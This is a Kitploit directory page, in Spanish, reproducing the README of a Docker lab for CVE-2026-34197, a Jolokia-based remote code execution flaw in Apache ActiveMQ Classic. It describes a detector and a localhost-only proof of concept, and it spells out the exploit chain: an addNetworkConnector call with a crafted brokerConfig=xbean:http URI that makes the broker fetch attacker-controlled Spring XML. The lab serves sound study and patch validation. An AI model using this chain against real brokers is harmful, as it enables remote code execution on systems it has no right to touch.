Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-34197-Lab — # Laboratorio Docker que demuestra CVE-2026-34197, una RCE en Apache ActiveMQ Classic a través de Jolokia. Incluye un detector seguro y un PoC solo local con comando fijo, comparando versiones vulnerables y parcheadas. | Kitploit
Herramientas/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

# Laboratorio Docker que demuestra CVE-2026-34197, una RCE en Apache ActiveMQ Classic a través de Jolokia. Incluye un detector seguro y un PoC solo local con comando fijo, comparando versiones vulnerables y parcheadas.

Ver Repositorio
12hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-34197 — Laboratorio RCE de Apache ActiveMQ Classic Jolokia

Resumen

Este repositorio es un laboratorio Docker local para estudiar CVE-2026-34197, un problema de ejecución remota de código en Apache ActiveMQ Classic accesible a través de la API Jolokia JMX-HTTP.

El laboratorio compara dos instancias de ActiveMQ Classic lado a lado:

ServicioVersiónPropósitoURL
vuln5.19.3Objetivo vulnerablehttp://127.0.0.1:8081
patched5.19.4Objetivo de comparación parcheadohttp://127.0.0.1:8082

El repositorio contiene dos scripts de prueba:

ScriptPropósitoModelo de seguridad
poc/detect.pyDetector autorizadoSolo HTTP; no explota
poc/poc.pyPrueba de ruta RCE solo localComando fijo únicamente: id; whoami; sleep 5

La evidencia de ejecución se verifica por separado por el operador utilizando herramientas de observación de procesos como strace.


Resumen de la Vulnerabilidad

CVE-2026-34197 afecta a Apache ActiveMQ Classic en versiones donde un usuario autenticado puede usar la API Jolokia para invocar operaciones de gestión del broker y hacer que la JVM del broker cargue XML Spring controlado por el atacante a través de una URI brokerConfig=xbean:http://... manipulada.

El flujo vulnerable demostrado en este laboratorio es:

Jolokia /api/jolokia/
  -> Operación MBean del Broker
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> Descarga remota de XML Spring
  -> Inicialización del bean ProcessBuilder
  -> Comando de prueba local fijo

El servicio parcheado bloquea esta ruta antes de que se descargue el XML y devuelve un error similar a:

VM scheme is not allowed

Estructura del Repositorio

.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

Roles de los archivos

  • docker-compose.yml ejecuta los servicios ActiveMQ vulnerable y parcheado.
  • vuln/Dockerfile construye Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile construye Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py verifica la exposición de Jolokia, la versión de ActiveMQ y la visibilidad del MBean del Broker.
  • poc/poc.py activa la ruta RCE solo local usando un comando benigno fijo.
  • images/strace.png contiene evidencia local de observación de procesos del servicio vulnerable.
  • .gitignore excluye artefactos locales, archivos de caché de Python, entornos virtuales, registros y secretos.

Límites de Seguridad

Este repositorio está destinado únicamente para uso en laboratorio local y validación de seguridad autorizada.

El PoC está deliberadamente restringido:

  • Rechaza objetivos no locales.
  • No acepta comandos arbitrarios.
  • Usa únicamente el comando fijo: id; whoami; sleep 5.
  • No recopila la salida del comando a través de un callback.
  • Se basa en observación separada controlada por el operador, como strace.

Objetivos locales permitidos para poc.py:

127.0.0.1
localhost
::1

No use este repositorio contra sistemas que no posea o para los que no tenga permiso explícito de prueba.


Configuración del Laboratorio

Construir e iniciar el laboratorio

docker compose down -v
docker compose build
docker compose up -d

Verifique el estado del servicio:

docker compose ps

Servicios esperados:

cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Verificar los endpoints de versión de Jolokia

Verifique el servicio vulnerable:

curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

Verifique el servicio parcheado:

curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

Versiones esperadas:

8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

Uso del Detector

poc/detect.py es el script predeterminado seguro. No explota el objetivo.

Verifica:

  1. si /api/jolokia/version es accesible;
  2. si se requiere autenticación;
  3. si el producto es Apache ActiveMQ;
  4. la versión de ActiveMQ;
  5. si el MBean del Broker es visible a través de la búsqueda de Jolokia;
  6. si la versión se encuentra en un rango afectado.

Ejecutar el detector contra ambos servicios del laboratorio

python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

Resultado esperado:

http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

¿Qué se considera vulnerable en el detector?

El detector marca un objetivo como LIKELY_VULNERABLE cuando:

Jolokia es accesible
+
La versión de ActiveMQ está en un rango afectado

Rangos afectados utilizados por este laboratorio:

5.x < 5.19.4
6.x < 6.2.3

La visibilidad del MBean del Broker se usa como evidencia de confianza porque la ruta de explotación depende de las operaciones de gestión del broker.

El detector no afirma CONFIRMED_RCE.


PoC de Ruta RCE Solo Local

poc/poc.py demuestra la ruta RCE en el laboratorio Docker local.

Inicia un servidor HTTP temporal en el host y sirve una carga útil XML Spring en una ruta única por ejecución:

/evil-<nonce>.xml

Luego invoca el MBean del Broker de ActiveMQ a través de Jolokia:

addNetworkConnector(java.lang.String)

con una URI de descubrimiento manipulada:

static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

El broker vulnerable descarga este XML. El broker parcheado bloquea el esquema de transporte vm:// antes de descargar el XML.

Comportamiento importante

Después de una ejecución vulnerable, el NetworkConnector creado puede reintentar descargar la ruta XML anterior. El script usa un nonce por ejecución y rastrea matches_current_run para evitar falsos positivos.

Un acierto solo se cuenta como la ejecución actual si coincide con:

/evil-<nonce-actual>.xml

Ejecutar PoC Contra el Servicio Vulnerable

python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Salida esperada:

[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

Esto confirma que ActiveMQ 5.19.3 puede ser inducido a descargar XML Spring controlado por el atacante a través de la ruta del broker gestionada por Jolokia.


Ejecutar PoC Contra el Servicio Parcheado

python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

Salida esperada:

VM scheme is not allowed
[-] No XML fetch observed for this run.

Si aparecen aciertos de una ejecución vulnerable anterior, deberían mostrar:

"matches_current_run": false

Esos no se cuentan como éxito del servicio parcheado.


Confirmar la Ejecución del Comando con strace

El script PoC no recopila la salida del comando. Para confirmar la ejecución del comando, observe la creación de procesos dentro del contenedor vulnerable.

Ingrese al contenedor vulnerable como root:

docker exec -it --user root cve-2026-34197-vuln bash

Encuentre el proceso Java:

Descargar herramienta